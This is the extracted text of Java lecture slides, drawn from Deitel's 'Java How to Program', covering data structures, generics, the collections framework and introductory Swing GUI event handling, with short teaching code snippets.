418
Lecture 1 Chapter 17,18 Book: Java™ How to Program, Sixth Edition By H. M. Deitel - Deitel & Associates, Inc., P. J. Deitel - Deitel & Associates, Inc. Andrey Bogdanchikov By:

Taner Erkan Java 2 lecture Ders notları

Embed Size (px)

Citation preview

Page 1: Taner Erkan Java 2 lecture Ders notları

Lecture 1Chapter 17,18

Book: Java™ How to Program, Sixth Edition

By H. M. Deitel - Deitel & Associates, Inc.,

P. J. Deitel - Deitel & Associates, Inc.

• Andrey Bogdanchikov

By:

Page 2: Taner Erkan Java 2 lecture Ders notları

17 - Data Structures

Introduction

Type-Wrapper Classes for Primitive Types

Autoboxing and Auto-Unboxing

Self-Referential Classes

Dynamic Memory Allocation

Linked Lists

Stacks

Queues

Trees2

Page 3: Taner Erkan Java 2 lecture Ders notları

Introduction

In previous chapters, we have studied

fixed-size data structures such as

one-dimensional and

multidimensional arrays.

This chapter introduces dynamic data

structures that grow and shrink at

execution time.

3

Page 4: Taner Erkan Java 2 lecture Ders notları

Type-Wrapper Classes for

Primitive Types

Each primitive type has a corresponding

type-wrapper class (in package java.lang).

These classes are called Boolean, Byte,

Character, Double, Float, Integer,

Long and Short.

Each type-wrapper class enables you to

manipulate primitive-type values as

objects.

4

Page 5: Taner Erkan Java 2 lecture Ders notları

Type-Wrapper classes

Each of the numeric type-wrapper classes Byte, Short, Integer, Long, Float andDouble extends class Number.

Also, the type-wrapper classes are final classes, so you cannot extend them.

Primitive types do not have methods, so the methods related to a primitive type are located in the corresponding type-wrapperclass (e.g., method parseInt, which converts a String to an int value, is located in class Integer)

5

Page 6: Taner Erkan Java 2 lecture Ders notları

Autoboxing and Auto-Unboxing

In versions of Java prior to J2SE 5.0: // create integerArray

Integer[] integerArray = new Integer[ 5 ];

// assign Integer 10 to integerArray[ 0 ]

integerArray[ 0 ] = new Integer( 10 );

// get int value of Integer

int value = integerArray[ 0 ].intValue();

Notice that the int primitive value 10 is used to initialize an Integer object.

This achieves the desired result but requires extra code and is cumbersome.

We then need to invoke method intValue of class Integer to obtain the int value in the Integer object.

6

Page 7: Taner Erkan Java 2 lecture Ders notları

J2SE 5.0 allows these conversions to be

performed automatically

(called autoboxing and auto-unboxing).

For example, the previous statements can

be rewritten as // create integerArray

Integer[] integerArray = new Integer[ 5 ];

// assign Integer 10 to integerArray[ 0 ]

integerArray[ 0 ] = 10;

// get int value of Integer

int value = integerArray[ 0 ];

Autoboxing and Auto-Unboxing

7

Page 8: Taner Erkan Java 2 lecture Ders notları

A boxing conversion converts a value

of a primitive type to an object of the

corresponding type-wrapper class.

An unboxing conversion converts an

object of a type-wrapper class to a value

of the corresponding primitive type.

Autoboxing and Auto-Unboxing

8

Page 9: Taner Erkan Java 2 lecture Ders notları

Self-Referential Classes

class Node {

private int data;

private Node nextNode; // reference to next linked node

public Node( int data ) { /* constructor body */ }

public void setData( int data ) { /* method body */ }

public int getData() { /* method body */ }

public void setNext( Node next ) { /* method body */ }

public Node getNext() { /* method body */ }

} // end class Node

9

Page 10: Taner Erkan Java 2 lecture Ders notları

Self-Referential Classes

Programs can link self-referential objectstogether to form such useful data structures as lists, queues, stacks and trees.

Figure illustrates two self-referential objectslinked together to form a list.

Normally, a null reference indicates the endof a data structure.

10

Page 11: Taner Erkan Java 2 lecture Ders notları

Dynamic Memory Allocation

Creating and maintaining dynamic data structures requires dynamic memory allocation the ability for a program to obtain more memory space at execution time to hold new nodes and to release space no longer needed.

Remember that Java programs do not explicitly release dynamically allocated memory.

Rather, Java performs automatic garbage collection of objects that are no longer referenced in a program.

11

Page 12: Taner Erkan Java 2 lecture Ders notları

The limit for dynamic memory

allocation can be as large as the amount

of available physical memory in the

computer or the amount of available disk

space in a virtual-memory system.

Often, the limits are much smaller,

because the computer's available memory

must be shared among many applications

Dynamic Memory Allocation

12

Page 13: Taner Erkan Java 2 lecture Ders notları

Dynamic Variables Examples

The declaration and class-instance

creation expression

Node nodeToAdd = new Node( 10 );

//10 is nodeToAdd's data

allocates the memory to store a Node

object and returns a reference to the

object, which is assigned to nodeToAdd.

If insufficient memory is available, the

expression throws an OutOfMemoryError.

13

Page 14: Taner Erkan Java 2 lecture Ders notları

Dynamic Data Structures

Linked List – List of dynamically allocated

items connected by reference

Stack – type that have LIFO structure

Queue – type that have FIFO structure

Tree – structure where one element can

have references to more than one

dynamical elements

14

Page 15: Taner Erkan Java 2 lecture Ders notları

Linked List

A linked list is a linear collection (i.e., a

sequence) of self-referential-class objects,

called nodes, connected by reference links

hence, the term "linked" list.

Typically, a program accesses a linked list via

a reference to the first node in the list.

15

Page 16: Taner Erkan Java 2 lecture Ders notları

Linked List advantages

Lists of data can be stored in arrays, but linked lists provide several advantages.

A linked list is appropriate when the number of data elements to be represented in the data structure is unpredictable.

Linked lists can be maintained in sorted ordersimply by inserting each new element at the proper point in the list. (It does, of course, take time to locate the proper insertion point.)

Existing list elements do not need to be moved. 16

Page 17: Taner Erkan Java 2 lecture Ders notları

Stack

A stack is a constrained version of a linked list new nodes can be added to and removed from a stack only at the top. [Note: A stack does not have to be implemented using a linked list.]

For this reason, a stack is referred to as a last-in, first-out (LIFO) data structure.

The link member in the bottom (i.e., last) node of the stack is set to null to indicate the bottom of the stack.

The primary methods for manipulating a stack are push and pop.

Method push adds a new node to the top of the stack. Method pop removes a node from the top of the stack and returns the data from the popped node.

17

Page 18: Taner Erkan Java 2 lecture Ders notları

Queue

Another commonly used data structure is the queue.

A queue is similar to a checkout line in a supermarket the cashier services the person at the beginning of the line first. Other customers enter the line only at the end and wait for service.

Queue nodes are removed only from the head(or front) of the queue and are inserted only at the tail (or end). For this reason, a queue is a first-in, first-out (FIFO) data structure.

The insert and remove operations are knownas enqueue and dequeue.18

Page 19: Taner Erkan Java 2 lecture Ders notları

Trees Linked lists, stacks and queues are linear data

structures (i.e., sequences).

A tree is a nonlinear, two-dimensional data structure with special properties. Tree nodes contain two or more links. This section discusses binary trees trees whose nodes each contain two links.

The root node is the first node in a tree. Each link in the root node refers to a child.

The left child is the first node in the left subtree(also known as the root node of the left subtree), and the right child is the first node in the right subtree.

The children of a specific node are called siblings. A node with no children is called a leaf node.

19

Page 20: Taner Erkan Java 2 lecture Ders notları

Binary Tree

In our example, we create a special binary tree called a

binary search tree.

A binary search tree (with no duplicate node values) has

the characteristic that the values in any left subtree are

less than the value in that subtree's parent node, and the

values in any right subtree are greater than the value in

that subtree's parent node

20

Page 21: Taner Erkan Java 2 lecture Ders notları

18 - Generics

Introduction

Motivation for Generic Methods

Generic Methods: Implementation and Compile-Time Translation

Additional Compile-Time Translation Issues: Methods That Use a Type Parameter as the Return Type

Overloading Generic Methods

Generic Classes

Raw Types

Wildcards in Methods That Accept Type Parameters

Generics and Inheritance: Notes

21

Page 22: Taner Erkan Java 2 lecture Ders notları

Introduction

It would be nice if we could write a single Stack class that could be used as a Stack of integers, a Stack of floating-point numbers, a Stack of Strings or a Stack of any other type.

This chapter discusses one of J2SE 5.0's newfeatures generics which provides the means to create the general models mentioned above.

Generic methods and generic classes enable programmers to specify, with a single method declaration, a set of related methods or, with a single class declaration, a set of related types, respectively. 22

Page 23: Taner Erkan Java 2 lecture Ders notları

Motivation for Generic Methods

Overloaded methods are often used to perform similar operations on different types of data.

To motivate generic methods, let's begin with an example that contains three overloadedprintArray methods

public class OverloadedMethods{

public static void printArray( Integer[] inputArray ){??}

public static void printArray( Double[] inputArray ){??}

public static void printArray( Character[] inputArray ){

for ( Character element : inputArray )

System.out.printf( "%s ", element );

} // end method printArray

}23

Page 24: Taner Erkan Java 2 lecture Ders notları

Method Overloading When the compiler encounters a method call, it

always attempts to locate a method declaration that has the same method name and parameters that match the argument types in the method call.

Study each printArray method. Note that the array element type appears in two locations in each method the method header and the for statementheader.

If we replace the element types in each method with a generic name by convention we'll use E to represent the "element" type then all three methods would look like this one:

public static void printArray( E[] inputArray ){

for ( E element : inputArray )

System.out.printf( "%s ", element );

}24

Page 25: Taner Erkan Java 2 lecture Ders notları

Generic Methods: Implementation

and Compile-Time Translation If the operations performed by several overloaded

methods are identical for each argument type, the overloaded methods can be more compactly and conveniently coded using a generic method.

You can write a single generic method declaration that can be called with arguments of different types.

Based on the types of the arguments passed to the generic method, the compiler handles each method call appropriately.

public class GenericMethodTest{

public static < E > void printArray( E[] inputArray ){

for ( E element : inputArray )

System.out.printf( "%s ", element );

} // end generic method printArray

}25

Page 26: Taner Erkan Java 2 lecture Ders notları

Additional Compile-Time

Translation Issues: The application uses a generic method maximum

to determine and return the largest of its three arguments of the same type.

Unfortunately, the relational operator > cannot be used with reference types. However, it is possible to compare two objects of the same class if that class implements the generic interface Comparable< T > (package java.lang).

All the type-wrapper classes for primitive types implement this interface. Like generic classes, generic interfaces enable programmers to specify, with a single interface declaration, a set of related types.

Comparable< T > objects have a compareTomethod.26

Page 27: Taner Erkan Java 2 lecture Ders notları

Methods That Use a Type Parameter

as the Return Type public class MaximumText{

// determines the largest of three Comparable objects

public static <T extends Comparable< T > > T

maximum(T x, T y, T z ){

T max = x; // assume x is initially the largest

if ( y.compareTo( max ) > 0 )

max = y; // y is the largest so far

if ( z.compareTo( max ) > 0 )

max = z; // z is the largest

return max; // returns the largest object

} // end method maximum

}27

Page 28: Taner Erkan Java 2 lecture Ders notları

Overloading Generic Methods

A generic method may be overloaded.

A class can provide two or more generic methods that specify the same method name but different method parameters.

A generic method can also be overloaded bynon-generic methods that have the same method name and number of parameters.

When the compiler encounters a method call, it searches for the method declaration that most precisely matches the method nameand the argument types specified in the call.

28

Page 29: Taner Erkan Java 2 lecture Ders notları

Generic Classes

The concept of a data structure, such as a stack, can be understood independently of the element type it manipulates.

Generic classes provide a means for describing the concept of a stack (or any other class) in a type-independent manner.

We can then instantiate type-specific objects of the generic class. This capability provides a wonderful opportunity for software reusability.

Once you have a generic class, you can use a simple, concise notation to indicate the actual type(s) that should be used in place of the class's type parameter(s).

29

Page 30: Taner Erkan Java 2 lecture Ders notları

Generic Stack

public class Stack< E >{

private final int size; // number of elements in the stack

private int top; // location of the top element

private E[] elements; // array that stores stack elements

public Stack( int s ){ ?? } // Stack constructor

public void push( E pushValue ){ ?? } // method push

public E pop() { ?? } // method pop

} // end class Stack< E >

Real implementation you can find in the book Chapter 18.6

30

Page 31: Taner Erkan Java 2 lecture Ders notları

Use of Generic classes

public class A{

public static void main(String args[]){

Stack<Integer> s = new Stack<Integer>();

s.push(4); // Autoboxing is used

System.out.println(s.pop()); //call to toString()

Vector<Student> v = new Vector<Student>();

v.add(new Student(“Vasya”, “Pupkin”));

Student vasya = v.remove(0);

}

}

31

Page 32: Taner Erkan Java 2 lecture Ders notları

Raw Type

The test programs for generic class Stack in Section 18.6 instantiate Stacks with type arguments Double and Integer.

It is also possible to instantiate generic class Stack without specifying a type argument,as follows:

// no type argument specified

Stack objectStack = new Stack( 5 );

In this case, the objectStack is said to have a raw type, which means that the compilerimplicitly uses type Object throughout the generic class for each type argument.32

Page 33: Taner Erkan Java 2 lecture Ders notları

Wildcards in Methods That

Accept Type ParametersIn this section, we introduce a powerful generics concept

known as wildcards.

// calculate total of stack elements

public static double sum( ArrayList< ? extends Number > list )

{

double total = 0; // initialize total

// calculate sum

for ( Number element : list )

total += element.doubleValue();

return total;

} // end method sum

33

Page 34: Taner Erkan Java 2 lecture Ders notları

Wildcard

A wildcard type argument is denoted by a question mark ( ? ).

A question mark by itself represents an "unknown type."

In this case, the wildcard extends class Number, which means that the wildcard has an upper bound of Number.

Thus, the unknown type argument must be either Number or a subclass of Number.

34

Page 35: Taner Erkan Java 2 lecture Ders notları

Generics and Inheritance: Notes Generics can be used with inheritance in several ways:

A generic class can be derived from a non-generic class. For example, the Object class is a direct or indirect superclass of every generic class.

A generic class can be derived from another generic class. For example, generic class Stack (in package java.util) is a subclass of generic class Vector(in package java.util).

A non-generic class can be derived from a generic class. For example, non-generic class Properties(in package java.util) is a subclass of generic class Hashtable (in package java.util).

Finally, a generic method in a subclass can override a generic method in a superclass if both methods have the same signatures.35

Page 36: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 37: Taner Erkan Java 2 lecture Ders notları

Lecture 2Chapter 19

Book: Java™ How to Program, Sixth Edition

By H. M. Deitel - Deitel & Associates, Inc.,

P. J. Deitel - Deitel & Associates, Inc.

• Andrey Bogdanchikov

By:

Page 38: Taner Erkan Java 2 lecture Ders notları

19 - Collections

Introduction

Collections Overview

Class Arrays

Interface Collection and Class Collections

Lists

Collections Algorithms

Stack Class of Package java.util

Class PriorityQueue and Interface Queue

Sets

Maps

Properties Class2

Page 39: Taner Erkan Java 2 lecture Ders notları

Introduction

In Chapter 17, we discussed how to create

and manipulate data structures. The

discussion was "low level“, means that each

data structure was created by hand.

In this chapter, we consider the Java

collections framework, which contains

prepackaged data structures, interfaces and

algorithms for manipulating those data

structures.

3

Page 40: Taner Erkan Java 2 lecture Ders notları

Collections Overview

4

Page 41: Taner Erkan Java 2 lecture Ders notları

Class Arrays Class Arrays provides static methods for

manipulating arrays.

Class Arrays provides high-level methods, such as sort for sorting an array, binarySearch for searching a sorted array, equals for comparing arrays and fill for placing values into an array.

These methods are overloaded for primitive-type arrays and Object arrays.

In addition, methods sort and binarySearchare overloaded with generic versions that allow programmers to sort and search arrays containing objects of any type.5

Page 42: Taner Erkan Java 2 lecture Ders notları

Example

6

filledIntArray = new int [ 10 ]; // create int array with 10 elements

intArrayCopy = new int [ intArray.length ];

doubleArray = {3.6, 7.2, 0.4, -6.4};

Arrays.fill( filledIntArray, 7 ); // fill with 7s

Arrays.sort( doubleArray ); // sort doubleArray ascending

// copy array intArray into array intArrayCopy

System.arraycopy( intArray, 0, intArrayCopy, 0, intArray.length );

return Arrays.binarySearch( intArray, value );

Page 43: Taner Erkan Java 2 lecture Ders notları

Interface Collection is the root interface in the collection hierarchy from which interfaces Set, Queueand List are derived.

Interface Set defines a collection that does not contain duplicates.

Interface Queue defines a collection that represents a waiting line.

Interface Collection contains bulk operations (i.e., operations performed on an entire collection) for adding, clearing, comparing and retaining objects (or elements) in a collection.

A Collection can also be converted to an array.

In addition, interface Collection provides a method that returns an Iterator object, which allows a program to walk through the collection and removeelements from the collection during the iteration.

Interface Collection and Class Collections

7

Page 44: Taner Erkan Java 2 lecture Ders notları

Class Collections provides static

methods that manipulate collections

polymorphically.

These methods implement algorithms for

searching, sorting and so on.

Class Collections is some alternative

version of class Arrays, used for any

Collection type.

Class Collections

8

Page 45: Taner Erkan Java 2 lecture Ders notları

List

A List (sometimes called a sequence) is an ordered

Collection that can contain duplicate elements.

Like array indices, List indices are zero based. In addition

to the methods inherited from Collection, List provides

methods for manipulating elements via their indices,

manipulating a specified range of elements, searching for

elements and getting a ListIterator to access the

elements

Interface List is implemented by several classes, including

classes ArrayList, LinkedList and Vector.

Class ArrayList and Vector are resizable-array

implementations of List. Class LinkedList is a linked-list

implementation of interface List.9

Page 46: Taner Erkan Java 2 lecture Ders notları

ArrayList and Iterator

List< String > list = new ArrayList< String >();

List< String > removeList = new ArrayList< String >();

// add elements in colors array to list

for ( String color : colors )

list.add( color );

___________________________________________private void removeColors( Collection< String > collection1,

Collection< String > collection2 ) {

Iterator< String > iterator = collection1.iterator(); // get iterator

// loop while collection has items

while ( iterator.hasNext() )

if ( collection2.contains( iterator.next() ) )

iterator.remove(); // remove current Color

} // end method removeColors

10

Page 47: Taner Erkan Java 2 lecture Ders notları

LinkedList

List< String > list1 = new LinkedList< String >();

List< String > list2 = new LinkedList< String >();

// add elements to list link for ( String color : colors )

list1.add( color );---------------------------------------------------------------------

private void printReversedList( List< String > list )

{

ListIterator< String >iterator = list.listIterator(list.size());

System.out.println( "\nReversed List:" );

// print list in reverse order while ( iterator.hasPrevious() )

System.out.printf( "%s ", iterator.previous() );

} // end method printReversedList11

Page 48: Taner Erkan Java 2 lecture Ders notları

String colors[] = { "black", "blue", "yellow" };

LinkedList< String > links =

new LinkedList< String >( Arrays.asList( colors ) );

links.addLast( "red" ); // add as last item

links.add( "pink" ); // add to the end

links.add( 3, "green" ); // add at 3rd index

links.addFirst( "cyan" ); // add as first item

// get LinkedList elements as an array

colors = links.toArray( new String[ links.size() ] );

List method toArray

12

Page 49: Taner Erkan Java 2 lecture Ders notları

Collections Algorithms

13

Page 50: Taner Erkan Java 2 lecture Ders notları

Stack Class of Package java.util

In Chapter 17, Data Structures, we learned

how to build fundamental data structures,

including linked lists, stacks, queues and

trees.

In a world of software reuse, rather than

building data structures as we need them, we

can often take advantage of existing data

structures.

In this section, we investigate class Stack in

the Java utilities package (java.util).14

Page 51: Taner Erkan Java 2 lecture Ders notları

Example

Stack< Number > stack = new Stack< Number >();

// create numbers to store in the stack

Long longNumber = 12L;

Integer intNumber = 34567;

Float floatNumber = 1.0F;

Double doubleNumber = 1234.5678;

// use push method

stack.push( longNumber ); // push a long

printStack( stack );

stack.push( intNumber ); // push an int

printStack( stack );

stack.push( floatNumber ); // push a float

printStack( stack );

stack.push( doubleNumber ); // push a double

printStack( stack ); 15

Page 52: Taner Erkan Java 2 lecture Ders notları

Class PriorityQueue and Interface Queue

In this section we investigate interface Queue and class PriorityQueue in the Java utilities package (java.util).

Queue, a new collection interface introduced in J2SE 5.0, extends interface Collection and provides additional operations for inserting, removing and inspecting elements in a queue.

PriorityQueue, one of the classes that implements the Queue interface, orders elements by their natural ordering as specified by Comparableelements' compareTo method or by a Comparator object that is supplied through the constructor.

16

Page 53: Taner Erkan Java 2 lecture Ders notları

PriorityQueue

Class PriorityQueue provides functionality that enables insertions in sorted order into the underlying data structure and deletions from the front of the underlying data structure.

The common PriorityQueue operations are offerto insert an element at the appropriate location based on priority order, poll to remove the highest-priority element of the priority queue (i.e., the head of the queue), peek to get a reference to the highest-priority element of the priority queue (without removing that element), clear to remove all elements in the priority queue and size to get the number of elements in the priority queue.

17

Page 54: Taner Erkan Java 2 lecture Ders notları

Example

// queue of capacity

PriorityQueue< Double > queue = new PriorityQueue< Double >();

// insert elements to queue

queue.offer( 3.2 );

queue.offer( 9.8 );

queue.offer( 5.4 );

System.out.print( "Polling from queue: " );

// display elements in queue

while ( queue.size() > 0 ) {

System.out.printf( "%.1f ", queue.peek() );

// view top element

queue.poll(); // remove top element

} // end while

// Polling from queue: 3.2 5.4 9.8 18

Page 55: Taner Erkan Java 2 lecture Ders notları

Sets

A Set is a Collection that contains unique elements

(i.e., no duplicate elements).

The collections framework contains several Set

implementations, including HashSet and TreeSet.

HashSet stores its elements in a hash table, and

TreeSet stores its elements in a tree.

The concept of hash tables is presented in Section

19.9. Figure 19.18 uses a HashSet to remove

duplicate strings from a List.

19

Page 56: Taner Erkan Java 2 lecture Ders notları

HashSet

private void printNonDuplicates( Collection< String > collection ) {

// create a HashSet

Set<String> set = new HashSet<String>( collection );

System.out.println( "\nNonduplicates are: " );

for ( String s : set )

System.out.printf( "%s ", s );

System.out.println();

} // end method printNonDuplicates20

Page 57: Taner Erkan Java 2 lecture Ders notları

Sorted Sets

The collections framework also includes interface SortedSet (which extends Set) for sets that maintain their elements in sortedorder either the elements' natural order(e.g., numbers are in ascending order) or an order specified by a Comparator.

Class TreeSet implements SortedSet.

21

Page 58: Taner Erkan Java 2 lecture Ders notları

TreeSet

String names[] = { "yellow", "green", “black", "tan", "grey", "white", "orange", "red", "green" };

// create TreeSet

SortedSet<String> tree =

new TreeSet<String> (Arrays.asList( names ));

for ( String s : set )

System.out.printf( "%s ", s );22

Page 59: Taner Erkan Java 2 lecture Ders notları

Maps

Maps associate keys to values and cannot contain duplicate keys (i.e., each key can map to only one value; this is called one-to-one mapping).

Three of the several classes that implement interface Map are Hashtable, HashMap and TreeMap.

Hashtables and HashMaps store elements in hash tables, and TreeMaps store elements in trees.

Interface SortedMap extends Map and maintains its keys in sorted order either the elements' natural order or an order specified by a Comparator.

Class TreeMap implements SortedMap. 23

Page 60: Taner Erkan Java 2 lecture Ders notları

Hash table

Hash tables are complex to program.

Computer science students study hashing schemes in

courses called "Data Structures" and "Algorithms."

This concept is profoundly important in our study of

object-oriented programming.

As discussed in earlier chapters, classes encapsulate and

hide complexity (i.e., implementation details) and offer

user-friendly interfaces.

Figure 19.20 uses a HashMap to count the number of

occurrences of each word in a string.

24

Page 61: Taner Erkan Java 2 lecture Ders notları

Example of HashMap, fill values// create map from user input

private void createMap() {

System.out.println( "Enter a string:" ); // prompt for user input

String input = scanner.nextLine();

// create StringTokenizer for input

StringTokenizer tokenizer = new StringTokenizer( input );

// processing input text

while ( tokenizer.hasMoreTokens() ) {

String word = tokenizer.nextToken().toLowerCase(); // get word

// if the map contains the word

if ( map.containsKey( word ) ) {

int count = map.get( word ); // get current count

map.put( word, count + 1 ); // increment count

} // end if

else map.put( word, 1 ); // add new word with a count of 1 to map

} // end while

} // end method createMap25

Page 62: Taner Erkan Java 2 lecture Ders notları

Example of HashMap, print values

// display map content

private void displayMap() {

Set< String > keys = map.keySet(); // get keys

// sort keys

TreeSet< String > sortedKeys = new TreeSet< String >( keys );

System.out.println( "Map contains:\nKey\t\tValue" );

// generate output for each key in map

for ( String key : sortedKeys )

System.out.printf( "%-10s%10s\n", key, map.get( key ) );

System.out.printf(

"\nsize:%d\nisEmpty:%b\n", map.size(), map.isEmpty() );

} // end method displayMap26

Page 63: Taner Erkan Java 2 lecture Ders notları

Properties Class

A Properties object is a persistent Hashtablethat normally stores key-value pairs of strings assuming that you use methods setPropertyand getProperty to manipulate the table rather than inherited Hashtable methods putand get.

By "persistent," we mean that the Properties object can be written to an output stream (possibly a file) and read back in through an input stream.

In fact, most objects in Java can be output and input with Java's object serialization, presented in Chapter 14.

27

Page 64: Taner Erkan Java 2 lecture Ders notları

Properties example

public PropertiesTest() {

table = new Properties(); // create Properties table

// set properties

table.setProperty( "color", "blue" );

table.setProperty( "width", "200" );

System.out.println( "After setting properties" );

listProperties(); // display property values

saveProperties(); // save properties

table.clear(); // empty table

loadProperties(); // load properties

// get value of property color

Object value = table.getProperty( "color" );

// check if value is in table

if ( value != null )

System.out.printf( "Property color's value is %s\n", value );

else System.out.println( "Property color is not in table" );

} // end PropertiesTest constructor28

Page 65: Taner Erkan Java 2 lecture Ders notları

THANK YOU

THE END

Page 66: Taner Erkan Java 2 lecture Ders notları

Lecture 3Chapter 11

Book: Java™ How to Program, Sixth Edition

By H. M. Deitel - Deitel & Associates, Inc.,

P. J. Deitel - Deitel & Associates, Inc.

• Andrey Bogdanchikov

By:

Page 67: Taner Erkan Java 2 lecture Ders notları

11 – GUI Components: Part 1 Introduction

Simple GUI-Based Input/Output with JOptionPane

Overview of Swing Components

Displaying Text and Images in a Window

Text Fields and an Introduction to Event Handling with Nested Classes

Common GUI Event Types and Listener Interfaces

How Event Handling Works

JComboBox and Using an Anonymous Inner Class for Event Handling

Mouse Event Handling

Adapter Classes

JPanel Subclass for Drawing with the Mouse

Layout Managers2

Page 68: Taner Erkan Java 2 lecture Ders notları

Introduction

A graphical user interface (GUI)presents a user-friendly mechanism for interacting with an application.

A GUI (pronounced "GOO-ee") gives an application a distinctive "look" and "feel."

Providing different applications with consistent, intuitive user interface components allows users to be somewhat familiar with an application, so that they can learn it more quickly and use it more productively.

3

Page 69: Taner Erkan Java 2 lecture Ders notları

Simple GUI-Based

Input/Output with JOptionPane

Most applications you use on a daily basis

use windows or dialog boxes (also

called dialogs) to interact with the user.

Java's JOptionPane class (package

javax.swing) provides prepackaged dialog

boxes for both input and output.

4

Page 70: Taner Erkan Java 2 lecture Ders notları

Example

5

1. String firstNumber =

2. JOptionPane.showInputDialog( "Enter first integer" );

3. String secondNumber =

4. JOptionPane.showInputDialog( "Enter second integer" );

5. // convert String inputs to int values for use in a calculation

6. int number1 = Integer.parseInt( firstNumber );

7. int number2 = Integer.parseInt( secondNumber );

8. int sum = number1 + number2; // add numbers

9. // display result in a JOptionPane message dialog

10. JOptionPane.showMessageDialog( null, "The sum is " + sum,

11. "Sum of Two Integers", JOptionPane.PLAIN_MESSAGE );

Page 71: Taner Erkan Java 2 lecture Ders notları

JOptionPane Message Dialog Constants

6

Page 72: Taner Erkan Java 2 lecture Ders notları

7

Page 73: Taner Erkan Java 2 lecture Ders notları

Swing vs. AWT

There are actually two sets of GUI components in Java. Before Swing was introduced in J2SE 1.2, Java GUIs were built with components from the Abstract Window Toolkit (AWT) in package java.awt.

When a Java application with an AWT GUI executes on different Java platforms, the application's GUI components display differently on each platform.

Swing GUI components allow you to specify a uniform look-and-feel for your application across all platforms or to use each platform's custom look-and-feel. 8

Page 74: Taner Erkan Java 2 lecture Ders notları

Most Swing components are not tied to

actual GUI components supported by the

underlying platform on which an application

executes. Such GUI components are known as

lightweight components.

AWT components (many of which parallel the

Swing components), are tied to the local

platform and are called heavyweight

components, because they rely on the local

platform's windowing system to determine

their functionality and their look-and-feel.

Lightweight vs. Heavyweight GUI Components

9

Page 75: Taner Erkan Java 2 lecture Ders notları

Displaying Text and Images in a Window

Our next example introduces a framework for building GUI applications.

This framework uses several concepts that you will see in many of our GUI applications.

Most windows you will create are an instance of class JFrame or a subclass of JFrame.

JFrame provides the basic attributes and behaviors of a window a title bar at the top of the window, and buttons to minimize, maximize and close the window.

Since an application's GUI is typically specific to the application, most of our examples will consist of two classes a subclass of JFrame that helps us demonstrate new GUI concepts and an application class in which main creates and displays the application's primary window.

10

Page 76: Taner Erkan Java 2 lecture Ders notları

Following examples demonstrates several JLabel features and presents the framework we use in most of our GUI examples.

[Note: There are many more features for each GUI component than we can cover in our examples. To learn the complete details of each GUI component, visit its page in the online documentation. ]

11

Page 77: Taner Erkan Java 2 lecture Ders notları

Code1. public class LabelFrame extends JFrame {

2. . . .

3. public LabelFrame()

4. { super("Testing JLabel"); setLayout(new FlowLayout());

5. // JLabel constructor with a string argument6. label1 = new JLabel( "Label with text" );

7. label1.setToolTipText( "This is label1" );

8. add( label1 ); // add label1 to JFrame9. . . .

10. Icon bug=new ImageIcon(getClass().getResource("bug1.gif"));

11. label2 = new JLabel( "Label with text and icon", bug,

12. SwingConstants.LEFT );

13. label2.setToolTipText( "This is label2" );

14. add( label2 ); // add label2 to JFrame

15. . . .

16. }

17. } // end class LabelFrame12

Page 78: Taner Erkan Java 2 lecture Ders notları

Main class

1. import javax.swing.JFrame;

2.

3. public class LabelTest {

4. public static void main( String args[] ) {

5. // create LabelFrame

6. LabelFrame labelFrame = new LabelFrame();

7.

8. labelFrame.setDefaultCloseOperation( JFrame.EXIT_ON_CLOSE );

9. labelFrame.setSize( 275, 180 ); // set frame size

10. labelFrame.setVisible( true ); // display frame

11. } // end main

12. } // end class LabelTest13

Page 79: Taner Erkan Java 2 lecture Ders notları

Text Fields and an Introduction to

Event Handling with Nested Classes

Normally, a user interacts with an application's GUI to

indicate the tasks that the application should perform.

GUIs are event driven. When the user interacts with a

GUI component, the interaction known as an event

drives the program to perform a task.

Some common events (user interactions) that might

cause an application to perform a task include clicking

a button, typing in a text field, selecting an item from a

menu, closing a window and moving the mouse.

The code that performs a task in response to an event is

called an event handler and the overall process of

responding to events is known as event handling.14

Page 80: Taner Erkan Java 2 lecture Ders notları

Text Fields In this section, we introduce two

new GUI components that can generate events JTextFieldsand JPasswordFields (package javax.swing).

When the user types data into a JTextField or a JPasswordField, then presses Enter, an event occurs.

Our next example demonstrates how a program can perform a task when that event occurs. The techniques shown here are applicable to all GUIcomponents that generate events

15

Page 81: Taner Erkan Java 2 lecture Ders notları

Steps Required to Set Up Event Handling for a

GUI Component

Before an application can respond to an event for a particular GUI component, you must perform several coding steps:

1. Create a class that represents the event handler.

2. Implement an appropriate interface, known as an

event-listener interface, in the class from Step 1.

3. Indicate that an object of the class from Steps 1

and 2 should be notified when the event occurs. This is

known as registering the event handler. 16

Page 82: Taner Erkan Java 2 lecture Ders notları

Example (Frame constructor)

1. textField1 = new JTextField( 10 );

2. add( textField1 ); // add textField1 to JFrame

3. textField2 = new JTextField( "Enter text here" );

4. add( textField2 ); // add textField2 to JFrame

5. ....................

6. ....................

7. // register event handlers

8. TextFieldHandler handler = new TextFieldHandler();

9. textField1.addActionListener( handler );

10. textField2.addActionListener( handler );

11.

17

Page 83: Taner Erkan Java 2 lecture Ders notları

Example(Handler)

1. private class TextFieldHandler implements ActionListener

2. { // process textfield events

3. public void actionPerformed( ActionEvent event ) {

4. String string = ""; // declare string to display

5. // user pressed Enter in JTextField textField1

6. if ( event.getSource() == textField1 )

7. string = String.format( "textField1: %s", event.getActionCommand() );

8. // user pressed Enter in JTextField textField2

9. else if ( event.getSource() == textField2 )

10. string = String.format( "textField2: %s", event.getActionCommand() );

11. // display JTextField content

12. JOptionPane.showMessageDialog( null, string );

13. }

14. }18

Page 84: Taner Erkan Java 2 lecture Ders notları

Using a Nested Class to Implement an

Event Handler

All the classes discussed so far were so-called top-level classes that is, the classes were not declared inside another class.

Java allows you to declare classes inside other classes these are called nested classes.

Nested classes can be static or non-static.

Non-static nested classes are called inner classes and are frequently used for event handling.

19

Page 85: Taner Erkan Java 2 lecture Ders notları

To perform event handling

First you need to create class (let’s name it Handler) that implements ActionListener, this can be inner class.

In this class realize one method of ActionListener:

public void actionPerformed( ActionEvent event )

In method actionPerformed write code of task that is needed to be performed when event occurs.

For each intractable element of your frame define object of Handler class as handler for events:

textField1.addActionListener( handler );

So frame’s events will be held by object of Handler class, and in actionPerformed method you define code to perform.

20

Page 86: Taner Erkan Java 2 lecture Ders notları

Common GUI Event Types and Listener Interfaces

21

Page 87: Taner Erkan Java 2 lecture Ders notları

How Event Handling Works

22

Page 88: Taner Erkan Java 2 lecture Ders notları

Event-Handler Invocation

Every GUI component supports several event types, including mouse events, key events and others. When an event occurs, the event is dispatched to only the event listeners of the appropriate type.

Dispatching is simply the process by which the GUI component calls an event-handling method on each of its listeners that are registered for the particular event typethat occurred.
